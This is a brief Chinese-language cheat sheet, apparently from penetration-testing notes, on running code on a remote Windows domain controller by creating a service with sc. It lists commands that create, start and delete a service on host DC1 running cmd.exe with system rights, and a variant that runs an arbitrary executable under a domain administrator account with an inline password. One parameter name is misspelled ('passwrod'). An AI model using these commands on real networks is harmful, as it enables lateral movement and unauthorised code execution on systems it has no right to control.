SC创建服务执行

一定要注意的是binpath这些设置的后面是有一个空格

  1. 1、系统权限(其中test为服务名)
  2. sc \\DC1 create test binpath= c:\cmd.exe
  3. sc \\DC1 start test
  4. sc \\DC1 delete test
  5. 2.指定用户权限启动
  6. sc \\DC1 create test binpath = "c:\1.exe" obj= "centoso\administrator" passwrod= test
  7. sc \\DC1 start test